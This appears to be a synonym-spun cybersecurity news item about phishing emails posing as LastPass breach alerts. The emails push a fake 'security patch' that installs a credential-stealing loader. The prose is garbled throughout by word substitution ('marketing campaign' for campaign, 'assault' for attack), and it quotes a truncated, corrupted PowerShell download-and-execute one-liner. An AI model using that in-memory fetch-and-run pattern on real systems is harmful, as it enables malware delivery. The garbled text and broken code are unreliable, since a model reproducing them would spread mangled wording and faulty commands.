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Beware of Fake ‘LastPass Hack’ Emails Trying to Trick Users Into Installing Malware

Posted on October 16, 2025October 16, 2025 By CWS

Cybersecurity professionals are elevating alarms over a brand new wave of phishing emails masquerading as breach notifications from LastPass.

These messages warn recipients of an pressing account compromise and urge them to obtain a “safety patch” to revive entry.

In actuality, the downloadable file incorporates a classy malware loader designed to reap credentials and deploy extra payloads.

The scheme has been energetic since early October and has already ensnared a number of enterprise customers.

The emails leverage acquainted LastPass branding, full with firm logos and hyperlinks that seem to direct victims to official domains.

Nonetheless, nearer inspection reveals delicate URL manipulations that redirect customers to attacker-controlled servers internet hosting malicious executables.

LastPass analysts recognized the marketing campaign after observing a number of customers reporting surprising login failures and anomalous community visitors shortly after clicking the hyperlinks.

Every phishing e mail attaches a ZIP archive named “LastPass_Security_Update.zip” containing an executable disguised as an MSI installer.

When launched, the MSI drops a PowerShell script within the person’s AppData folder and executes it by way of a scheduled process.

This script reaches out to a distant command-and-control server to obtain a second-stage payload, which is able to keylogging, screenshot seize, and lateral motion inside company networks.

An infection Mechanism

The core of the assault revolves round a crafted PowerShell command that downloads and executes the loader with out writing the script to disk. A snippet of the obfuscated command is proven under:-

IEX(New-Object Web.WebClient).DownloadString(‘

This one-liner makes use of IEX to execute the downloaded content material immediately in reminiscence, evading most antivirus options.

Phishing e mail (Supply – LastPass)

The loader then injects a DLL into svchost.exe to take care of persistence and bypass software whitelisting.

This marketing campaign underscores the significance of verifying e mail authenticity, using multi-factor authentication, and monitoring for uncommon PowerShell exercise in enterprise environments.

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